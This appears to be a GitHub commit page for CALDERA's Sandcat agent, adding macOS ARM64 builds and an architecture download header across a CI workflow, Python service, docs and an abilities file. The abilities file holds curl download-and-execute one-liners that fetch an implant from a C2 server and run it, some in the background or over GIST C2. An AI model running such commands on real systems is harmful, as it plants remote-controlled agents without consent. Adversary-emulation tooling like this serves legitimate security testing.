Skip to content

Commit

Permalink
[VIRTS-4690] Add Architecture Header to Sandcat (#435)
Browse files Browse the repository at this point in the history
* MacOS ARM64 build added

* add check for architecture header

* add header to sandcat commands

* merge darwin and darwin-arm64 into single platform

* fix erroneous yml syntax

* add architecture key to yaml file for front end filtering

* remove changes to update-agents

* keep 3 platforms in precompiled binaries

* update go.yml to differentiate two darwin builds

* add additional sandcat options for arm64

* fix yml file formatting errors

* update documentation with example header usage

* fix sonarcloud unused variable error

* reorganize sandcat-details changes

* add arm64 command to update-agents

---------

Co-authored-by: Peter Matkovski <pmatkovski@atlassian.com>
  • Loading branch information
bleepbop and Peter Matkovski authored Oct 16, 2023
1 parent 7c326bd commit 847539e
Show file tree
Hide file tree
Showing 5 changed files with 77 additions and 18 deletions.
16 changes: 13 additions & 3 deletions .github/workflows/go.yml
Original file line number Diff line number Diff line change
Expand Up @@ -29,13 +29,23 @@ jobs:
env:
GOOS: windows

- name: Build Darwin
- name: Build Darwin amd64
run: |
cd gocat
go build -o sandcat.go-darwin -ldflags="-s -w" sandcat.go
file sandcat.go-darwin && ls -al sandcat.go-darwin
go build -o sandcat.go-darwin-amd64 -ldflags="-s -w" sandcat.go
file sandcat.go-darwin-amd64 && ls -al sandcat.go-darwin-amd64
env:
GOOS: darwin
GOARCH: amd64

- name: Build Darwin arm64
run: |
cd gocat
go build -o sandcat.go-darwin-arm64 -ldflags="-s -w" sandcat.go
file sandcat.go-darwin-arm64 && ls -al sandcat.go-darwin-arm64
env:
GOOS: darwin
GOARCH: arm64

- name: Build Linux
run: |
Expand Down
7 changes: 4 additions & 3 deletions app/sand_svc.py
Original file line number Diff line number Diff line change
Expand Up @@ -113,6 +113,7 @@ async def _compile_new_agent(self, platform, headers, compile_target_name, outpu
If a gocat variant is specified along with additional extensions, the extensions will be added to the
base extensions for the variant.
"""
architecture = headers.get('architecture', 'amd64')
ldflags = ['-s', '-w', '-X main.key=%s' % (self._generate_key(),)]
for param in flag_params:
if param in headers:
Expand All @@ -132,11 +133,11 @@ async def _compile_new_agent(self, platform, headers, compile_target_name, outpu

# Load extensions and compile. Extensions need to be loaded before searching for target file.
installed_extensions = await self._install_gocat_extensions(extension_names)
plugin, file_path = await self.file_svc.find_file_path(compile_target_name, location=compile_target_dir)
_, file_path = await self.file_svc.find_file_path(compile_target_name, location=compile_target_dir)
self.file_svc.log.debug('Dynamically compiling %s' % compile_target_name)
build_path, build_file = os.path.split(file_path)
await self.file_svc.compile_go(platform, output, build_file, buildmode=buildmode, ldflags=' '.join(ldflags),
cflags=cflags, build_dir=build_path)
await self.file_svc.compile_go(platform, output, build_file, arch=architecture, buildmode=buildmode,
ldflags=' '.join(ldflags), cflags=cflags, build_dir=build_path)

# Remove extension files.
await self._uninstall_gocat_extensions(installed_extensions)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -12,36 +12,81 @@
sh:
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" $server/file/download > #{agents.implant_name};
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -server $server -v
variations:
- description: Deploy as a blue-team agent instead of red
- description: (AMD64) Deploy as a blue-team agent instead of red
architecture: AMD64
command: |
server="#{app.contact.http}";
agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:darwin" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -server $server -group blue &
- description: Download with a random name and start as a background process
- description: (AMD64) Download with a random name and start as a background process
architecture: AMD64
command: |
server="#{app.contact.http}";
agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:darwin" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -server $server &
- description: Compile red-team agent with a comma-separated list of extensions (requires GoLang).
- description: (AMD64) Compile red-team agent with a comma-separated list of extensions (requires GoLang).
architecture: AMD64
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "gocat-extensions:#{agent.extensions}" $server/file/download > #{agents.implant_name};
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64" -H "gocat-extensions:#{agent.extensions}" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -server $server -v
- description: Download with GIST C2
- description: (AMD64) Download with GIST C2
architecture: AMD64
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "gocat-extensions:gist" -H "c2:gist" $server/file/download > #{agents.implant_name};
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64" -H "gocat-extensions:gist" -H "c2:gist" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -c2 GIST -v
- description: Deploy as a P2P agent with known peers included in compiled agent
- description: (AMD64) Deploy as a P2P agent with known peers included in compiled agent
architecture: AMD64
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:amd64" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -server $server -listenP2P -v
- description: (ARM64) CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.
architecture: ARM64
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:arm64" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -server $server -v
- description: (ARM64) Deploy as a blue-team agent instead of red
architecture: ARM64
command: |
server="#{app.contact.http}";
agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:arm64" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -server $server -group blue &
- description: (ARM64) Download with a random name and start as a background process
architecture: ARM64
command: |
server="#{app.contact.http}";
agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:arm64" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null;
nohup ./$agent -server $server &
- description: (ARM64) Compile red-team agent with a comma-separated list of extensions (requires GoLang).
architecture: ARM64
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:arm64" -H "gocat-extensions:#{agent.extensions}" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -server $server -v
- description: (ARM64) Download with GIST C2
architecture: ARM64
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:arm64" -H "gocat-extensions:gist" -H "c2:gist" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -c2 GIST -v
- description: (ARM64) Deploy as a P2P agent with known peers included in compiled agent
architecture: ARM64
command: |
server="#{app.contact.http}";
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name};
curl -s -X POST -H "file:sandcat.go" -H "platform:darwin" -H "architecture:arm64" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name};
chmod +x #{agents.implant_name};
./#{agents.implant_name} -server $server -listenP2P -v
linux:
Expand Down
4 changes: 3 additions & 1 deletion docs/Sandcat-Details.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,8 +23,9 @@ various use cases.
## Precompiled Binaries
Precompiled agent binaries are located in the `payloads` directory and are referenced with the following filename:
- `sandcat.go-darwin` compiled binary for Mac targets
- `sandcat.go-darwin-arm64` compiled binary for Mac with ARM processor targets
- `sandcat.go-linux` compiled binary for Linux targets
- `sandcat.go-windows` compiled binary for Windows targets.
- `sandcat.go-windows` compiled binary for Windows targets

These files get updated when dynamically compiling agents, so they will always contain the
latest compiled version on your system.
Expand All @@ -45,6 +46,7 @@ the agent will re-compile itself dynamically to obtain a new file hash. This wil

When running the Sandcat agent binary, there are optional parameters you can use when you start the executable:

* `-H "architecture: [architecture]"`: For MacOS, both amd64 and arm64 are supported. When retrieving the executable from the server, the architecture header can be used to select the correct executable: `-H "architecture:amd64"` or `-H "architecture:arm64"`.
* `-server [C2 endpoint]`: This is the location (e.g. HTTP URL, IPv4:port string) that the agent will use to reach the C2 server. (e.g. `-server http://10.0.0.1:8888`, `-server 10.0.0.1:53`, `-server https://example.com`). The agent must have connectivity to this endpoint.
* `-group [group name]`: This is the group name that you would like the agent to join when it starts. The group does not have to exist beforehand. A default group of `red` will be used if this option is not provided (e.g. `-group red`, `-group mygroup`)
* `-v`: Toggle verbose output from sandcat. If this flag is not set, sandcat will run silently. This only applies to output that would be displayed on the target machine, for instance if running sandcat from a terminal window. This option does not affect the information that gets sent to the C2 server.
Expand Down
1 change: 1 addition & 0 deletions update-agents.sh
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ function build() {
GOOS=windows go build -o ../payloads/sandcat.go-windows -ldflags="-s -w" sandcat.go
GOOS=linux go build -o ../payloads/sandcat.go-linux -ldflags="-s -w" sandcat.go
GOOS=darwin go build -o ../payloads/sandcat.go-darwin -ldflags="-s -w" sandcat.go
GOOS=darwin GOARCH=arm64 go build -o ../payloads/sandcat.go-darwin-arm64 -ldflags="-s -w" sandcat.go
}
cd gocat && build
cd ..

0 comments on commit 847539e

Please sign in to comment.